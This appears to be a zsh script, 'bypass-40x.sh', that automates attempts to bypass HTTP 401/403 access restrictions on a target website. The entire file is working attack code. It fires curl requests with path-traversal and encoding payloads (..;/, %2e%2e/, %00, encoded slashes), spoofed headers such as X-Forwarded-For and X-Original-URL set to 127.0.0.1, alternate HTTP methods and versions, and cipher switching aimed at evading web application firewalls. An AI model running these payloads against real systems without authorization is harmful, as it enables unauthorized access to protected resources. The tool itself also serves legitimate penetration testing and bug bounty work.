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bypass-40x.sh
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bypass-40x.sh
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#! /bin/zsh
figlet Bypass-40x
echo " https://github.com/cyal1/bypass-40x"
#Show usage
if [ "$#" -lt 1 ]
then
echo "./bypass-40x.sh [OPTIONS] https://example.com /dir"
echo "./bypass-40x.sh [OPTIONS] https://example.com/dir1/dir2 /dir3/dir4"
echo "OPTIONS:"
echo " -r Allow redirection if response is 3XX"
exit
fi
# bash neet set RED,GREEN,YELLOW,CLEAR empty
RED="\033[0;31m"
GREEN="\033[0;32m"
YELLOW="\033[0;33m"
CLEAR="\033[0m"
METHOD="GET" # default is GET
TIMEOUT=-m"0" # TIMEOUT="-m 2"
COOKIE=""
# COOKIE="Cookie: a=b"
USER_AGENT=-A"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36"
#Check optional arguments
REDIRECT=""
if [[ $(echo $*) == *"-r "* ]]
then
REDIRECT="-L"
fi
# ./bypass-40x.sh https://example.com/xxx
if [ "$#" -eq 1 ]; then
URL=$1
ONLY_URL=1
else
ONLY_URL=0
fi
# ./bypass-40x.sh https://example.com/xxx/ /dir
if [ "$#" -eq 2 ]; then
URL=$1
DIR=$2
fi
# ./bypass-40x.sh [OPTIONS] https://example.com/xxx/ /dir
if [ "$#" -eq 3 ]; then
URL=$2
DIR=$3
fi
#Check URL starts with http*
echo ${URL} | grep -i ^http > /dev/null
if [ $? -gt 0 ]; then
echo "Note: Start your url with http:// or https://"
exit
fi
# strip "/" from the suffix of URL
if [ $ONLY_URL -ne 1 ]; then
URL=${URL%/}
fi
# strip "/" from the prefix of DIR
DIR=${DIR#/}
function curl_wapper(){
curl -k -s -o /dev/null --path-as-is -w "%{http_code}","%{size_download}" -H "$COOKIE" "$USER_AGENT" "$TIMEOUT" $REDIRECT -X"$METHOD" "$@"
}
# https://www.baidu.com/dir1<payload>
function payload_Suffux(){
# $1: full url with out "/" suffux
if [[ x$(echo ${1}|cut -d '/' -f4) != x ]]; then
# fix https://www.baidu.com<payload>
output "${1}*" $(curl_wapper "${1}*") &
output "${1};" $(curl_wapper "${1};") &
output "${1}%3f" $(curl_wapper "${1}%3f") &
output "${1}%20" $(curl_wapper "${1}%20") &
output "${1}%F3%A0%81%A9" $(curl_wapper "${1}%F3%A0%81%A9") &
output "${1};/" $(curl_wapper "${1};/") &
output "${1};.css" $(curl_wapper "${1};.css") &
output "${1}%2f" $(curl_wapper "${1}%2f") &
output "${1}.json" $(curl_wapper "${1}.json") &
output "${1}%23" $(curl_wapper "${1}%23") &
output "${1}%26" $(curl_wapper "${1}%26") &
output "${1}%00" $(curl_wapper "${1}%00") &
output "${1}..;/" $(curl_wapper "${1}..;/") &
output "${1}../" $(curl_wapper "${1}../") &
output "${1}%" $(curl_wapper "${1}%") &
output "${1}?" $(curl_wapper "${1}? ") &
output "${1}??" $(curl_wapper "${1}??") &
output "${1}\..\.\\" $(curl_wapper "${1}\..\.\\") &
upper_end=${1:0:${#1}-1}$(tr '[:lower:]' '[:upper:]' <<< ${1:${#1}-1:1})
lower_end=${1:0:${#1}-1}$(tr '[:upper:]' '[:lower:]' <<< ${1:${#1}-1:1})
output "${upper_end}" $(curl_wapper ${upper_end}) &
output "${lower_end}" $(curl_wapper ${lower_end}) &
wait
fi
output "${1}/*" $(curl_wapper "${1}/*") &
output "${1}/;" $(curl_wapper "${1}/;") &
output "${1}/%3f" $(curl_wapper "${1}/%3f") &
output "${1}/%" $(curl_wapper "${1}/%") &
output "${1}/?" $(curl_wapper "${1}/? ") &
output "${1}/;.css" $(curl_wapper "${1}/;.css") &
output "${1}/%00" $(curl_wapper "${1}/%00") &
output "${1}/??" $(curl_wapper "${1}/??") &
output "${1}/%20" $(curl_wapper "${1}/%20") &
output "${1}/%F3%A0%81%A9" $(curl_wapper "${1}/%F3%A0%81%A9") &
output "${1}/;/" $(curl_wapper "${1}/;/") &
output "${1}/%2f" $(curl_wapper "${1}/%2f") &
output "${1}/.json" $(curl_wapper "${1}/.json") &
output "${1}/%23" $(curl_wapper "${1}/%23") &
output "${1}/..;/" $(curl_wapper "${1}/..;/") &
wait
output "${1}/%09" $(curl_wapper "${1}/%09") &
output "${1}/.%2f" $(curl_wapper "${1}/.%2f") &
output "${1}/%2e" $(curl_wapper "${1}/%2e") &
output "${1}/%2e/" $(curl_wapper "${1}/%2e/") &
output "${1}//" $(curl_wapper "${1}//") &
output "${1}/./" $(curl_wapper "${1}/./") &
# output "${1}/%2e%2e/" $(curl_wapper "${1}/%2e%2e/") &
# output "${1}/%2e%2e%2f" $(curl_wapper "${1}/%2e%2e%2f") &
wait
# output "${1}/randomstr/../" $(curl_wapper "${1}/randomstr/../") &
# output "${1}/randomstr/..;/" $(curl_wapper "${1}/randomstr/..;/") &
# output "${1}/randomstr/%2e%2e/" $(curl_wapper "${1}/randomstr/%2e%2e/") &
# output "${1}/randomstr/%2e%2e%2f" $(curl_wapper "${1}/randomstr/%2e%2e%2f") &
wait
}
# https://www.baidu.com/dir1<payload>dir2
function payload_Between(){
# $1 URL
# $2 DIR
output "${1}/%2e%2e%2f${2}" $(curl_wapper "${1}/%2e%2e%2f${2}") &
output "${1}/%2e%2e/${2}" $(curl_wapper "${1}/%2e%2e/${2}") &
output "${1}/.%2e/${2}" $(curl_wapper "${1}/.%2e/${2}") &
output "${1}/.%2f${2}" $(curl_wapper "${1}/.%2f${2}") &
output "${1}/..%00/${2}" $(curl_wapper "${1}/..%00/${2}") &
output "${1}/..%0d/${2}" $(curl_wapper "${1}/..%0d/${2}") &
output "${1}/..%2f${2}" $(curl_wapper "${1}/..%2f${2}") &
output "${1}/..%5c${2}" $(curl_wapper "${1}/..%5c${2}") &
output "${1}/..%ff/${2}" $(curl_wapper "${1}/..%ff/${2}") &
output "${1}/../${2}" $(curl_wapper "${1}/../${2}") &
output "${1}/..;/${2}" $(curl_wapper "${1}/..;/${2}") &
output "${1}/..\\${2}" $(curl_wapper "${1}/..\\${2}") &
output "${1}/;${2}" $(curl_wapper "${1}/;/${2}") &
output "${1}/%3b${2}" $(curl_wapper "${1}/;/${2}") &
output "${1}/;/${2}" $(curl_wapper "${1}/;/${2}") &
output "${1}/%0a${2}" $(curl_wapper "${1}/%0a${2}") &
output "${1}/${2}../${2}" $(curl_wapper "${1}/${2}../${2}") & # nginx off by slash
upper_start=${1}/$(tr '[:lower:]' '[:upper:]' <<< ${2:0:1})${2:1}
lower_start=${1}/$(tr '[:upper:]' '[:lower:]' <<< ${2:0:1})${2:1}
output "${upper_start}" $(curl_wapper "${upper_start}") &
output "${lower_start}" $(curl_wapper "${lower_start}") &
wait
}
# https://www.baidu.com/dir1<payload>dir2<payload>
function payload_Both(){
:
}
function payload_Header(){
FULL_URL=$1
fqdn_url=${FULL_URL%%//*}//$(echo ${FULL_URL}|cut -d'/' -f 3)/
tmp=${FULL_URL#*//}
rewrite_url=""
# https://www.baidu.com/a/b/c/d
# $1(FULL_URL): https://www.baidu.com/a/b/c/d
# fqdn_url: https://www.baidu.com/
# rewrite_url: a/b/c/d
if [[ x$(echo ${FULL_URL}|cut -d '/' -f4) != x ]]; then
# fix https://www.baidu.com..;/
rewrite_url=${tmp#*/}
output "X-Custom-IP-Authorization: 127.0.0.1 \t ${FULL_URL%/}..;/" $(curl_wapper -H "X-Custom-IP-Authorization: 127.0.0.1" "${FULL_URL%/}..;/")
fi
output "X-Custom-IP-Authorization: 127.0.0.1 \t $FULL_URL" $(curl_wapper -H "X-Custom-IP-Authorization: 127.0.0.1" $FULL_URL) &
output "X-Forwarded-For: http://127.0.0.1 \t $FULL_URL" $(curl_wapper -H "X-Forwarded-For: http://127.0.0.1" $FULL_URL) &
output "X-Forward-For: http://127.0.0.1 \t $FULL_URL" $(curl_wapper -H "X-Forward-For: http://127.0.0.1" $FULL_URL) &
output "X-Forwarded-For: 127.0.0.1:80 \t $FULL_URL" $(curl_wapper -H "X-Forwarded-For: 127.0.0.1:80" $FULL_URL) &
output "X-Original-URL: /$rewrite_url \t $fqdn_url" $(curl_wapper -H "X-Original-URL: /$rewrite_url" "${fqdn_url}anything") &
output "X-Rewrite-URL: /$rewrite_url \t $fqdn_url" $(curl_wapper -H "X-Rewrite-URL: /$rewrite_url" "${fqdn_url}anything") &
output "X-Forwarded-For: 127.0.0.1 \t $FULL_URL" $(curl_wapper -H "X-Forwarded-For: 127.0.0.1" $FULL_URL) &
output "X-Originating-IP: 127.0.0.1 \t $FULL_URL" $(curl_wapper -H "X-Originating-IP: 127.0.0.1" $FULL_URL) &
output "X-Remote-IP: 127.0.0.1 \t $FULL_URL" $(curl_wapper -H "X-Remote-IP: 127.0.0.1" $FULL_URL) &
output "X-Remote-Addr: 127.0.0.1 \t $FULL_URL" $(curl_wapper -H "X-Remote-Addr: 127.0.0.1" $FULL_URL) &
output "X-Client-IP: 127.0.0.1 \t $FULL_URL" $(curl_wapper -H "X-Client-IP: 127.0.0.1" $FULL_URL) &
output "X-Forwarded-Host: 127.0.0.1 \t $FULL_URL" $(curl_wapper -H "X-Forwarded-Host: 127.0.0.1" $FULL_URL) &
output "X-Host: 127.0.0.1 \t $FULL_URL" $(curl_wapper -H "X-Host: 127.0.0.1" $FULL_URL) &
output "Referer: $FULL_URL \t $FULL_URL" $(curl_wapper -H "Referer: $FULL_URL" $FULL_URL) &
output "Host: 127.0.0.1 \t $FULL_URL" $(curl_wapper -H "Host: 127.0.0.1" $FULL_URL) &
output "Potential headers one curl" $(curl_wapper -H "Proxy-Host: 127.0.0.1" \
-H "Request-Uri: /$rewrite_url" \
-H "X-Forwarded: 127.0.0.1" \
-H "X-Forwarded-By: 127.0.0.1" \
-H "X-Forwarded-For-Original: 127.0.0.1" \
-H "X-Forwarded-Server: 127.0.0.1" \
-H "X-Forwarder-For: 127.0.0.1" \
-H "X-Forward-For: 127.0.0.1" \
-H "Base-Url: http://127.0.0.1/$rewrite_url" \
-H "Http-Url: http://127.0.0.1/$rewrite_url" \
-H "Proxy-Url: http://127.0.0.1/$rewrite_url" \
-H "Redirect: http://127.0.0.1/$rewrite_url" \
-H "Real-Ip: 127.0.0.1" \
-H "Referer: http://127.0.0.1/$rewrite_url" \
-H "Referrer: http://127.0.0.1/$rewrite_url" \
-H "Refferer: http://127.0.0.1/$rewrite_url" \
-H "Uri: /$rewrite_url" \
-H "Url: http://127.0.0.1/$rewrite_url" \
-H "X-Http-Destinationurl: 127.0.0.1" \
-H "X-Http-Host-Override: 127.0.0.1" \
-H "X-Original-Remote-Addr: 127.0.0.1" \
-H "X-Proxy-Url: http://127.0.0.1/$rewrite_url" \
-H "X-Real-Ip: 127.0.0.1" \
$FULL_URL) &
wait
output "${METHOD} ${FULL_URL} HTTP/1.1 \t Host: 127.0.0.1" $(curl_wapper -H "Host: 127.0.0.1" --request-target "${FULL_URL}" $FULL_URL) &
output "${METHOD} http://127.0.0.1/${rewrite_url} HTTP/1.1" $(curl_wapper --request-target "http://127.0.0.1/${rewrite_url}" $FULL_URL) &
output "${METHOD} $FULL_URL HTTP/1.0" $(curl_wapper -H "Accept:" -H "Host:" -H "User-Agent:" --http1.0 --request-target $FULL_URL $FULL_URL) &
output "${METHOD} http://127.0.0.1/${rewrite_url} HTTP/1.0" $(curl_wapper -H "Accept:" -H "Host:" -H "User-Agent:" --http1.0 --request-target "http://127.0.0.1/${rewrite_url}" $FULL_URL) &
wait
}
function output(){
# $1 output url
# $2 status & content-length
STATUS=$(echo $2|cut -d',' -f 1)
LENGTH=$(echo $2|cut -d',' -f 2)
if [[ ${STATUS} =~ 2.. ]]; then
echo -e "${GREEN}${2}${CLEAR} \t=> $1"
elif [[ ${STATUS} =~ 3.. ]]; then
echo -e "${YELLOW}${2}${CLEAR} \t=> $1"
else
echo -e "${RED}${2}${CLEAR} \t=> $1"
fi
}
FULL_URL="${URL}/${DIR}"
if [ $ONLY_URL -eq 1 ]; then
FULL_URL="${URL}"
fi
######################## ip/http versoin #########################
printf "\n${GREEN}[+] IP/HTTP Version...${CLEAR}\n"
output "ipv4 " $(curl_wapper -4 $FULL_URL) &
output "ipv6 " $(curl_wapper -6 $FULL_URL) &
output "HTTP/2 prior knowledge" $(curl_wapper --http2-prior-knowledge $FULL_URL) &
output "HTTP/2 " $(curl_wapper --http2 $FULL_URL) &
output "HTTP/1.0 " $(curl_wapper --http1.0 $FULL_URL) &
output "HTTP/0.9 " $(curl_wapper --http0.9 $FULL_URL) &
wait
######################## ssl ciphers #########################
if [[ ${FULL_URL:0:5} == https ]];then
printf "\n${GREEN}[+] SSL ciphers abusing ...${CLEAR}\n"
output "ECDHE-RSA-AES256-SHA" $(curl_wapper --ciphers ECDHE-RSA-AES256-SHA $FULL_URL)
output "ECDHE-RSA-AES128-GCM-SHA256" $(curl_wapper --ciphers ECDHE-RSA-AES128-GCM-SHA256 $FULL_URL)
output "ECDHE-ECDSA-AES256-GCM-SHA384" $(curl_wapper --ciphers ECDHE-ECDSA-AES256-GCM-SHA384 $FULL_URL)
output "ECDHE-RSA-AES256-GCM-SHA384" $(curl_wapper --ciphers ECDHE-RSA-AES256-GCM-SHA384 $FULL_URL)
output "ECDHE-RSA-AES256-SHA384" $(curl_wapper --ciphers ECDHE-RSA-AES256-SHA384 $FULL_URL)
output "AES256-GCM-SHA384" $(curl_wapper --ciphers AES256-GCM-SHA384 $FULL_URL)
output "DHE-RSA-AES256-GCM-SHA384" $(curl_wapper --ciphers DHE-RSA-AES256-GCM-SHA384 $FULL_URL)
printf "More ciphers be supported in tools: \n"
printf "\thttps://github.com/LandGrey/abuse-ssl-bypass-waf.git\n"
printf "\thttps://github.com/viperbluff/WAF_buster.git\n"
fi
####################### HTTP Methods ########################
printf "\n${GREEN}[+] HTTP Methods...${CLEAR}\n"
#DELETE disabled by default, too dangerous
for Verb in {"OPTIONS","HEAD","PUT","POST","TRACE","TRACK","PATCH","MOVE","CONNECT"}
do
if [[ $Verb == "POST" ]]; then
output "$Verb \t $FULL_URL" $(curl_wapper -H "Content-Length: 0" -X POST $FULL_URL) &
elif [[ $Verb == "HEAD" ]]; then
output "$Verb \t $FULL_URL" $(curl_wapper -m 2 -X HEAD $FULL_URL) & # timeout=1
else
output "$Verb \t $FULL_URL" $(curl_wapper -X $Verb $FULL_URL) &
fi
done
wait
###################### Bugbountytips ##########################
printf "\n${GREEN}[+] Bugbountytips 40x bypass methods...${CLEAR}\n"
FULL_URL_1="${URL}/${DIR%/}"
if [ $ONLY_URL -eq 1 ]; then
FULL_URL_1="${URL%/}"
fi
payload_Suffux $FULL_URL_1
if [ $ONLY_URL -ne 1 ]; then
payload_Between ${URL} ${DIR}
payload_Both ${URL} ${DIR}
fi
########################## HEADERS #############################
printf "\n${GREEN}[+] HEADERS...${CLEAR}\n"
payload_Header $FULL_URL
printf "\nMore waf bypass techniques click https://www.youtube.com/watch?v=tSf_IXfuzXk"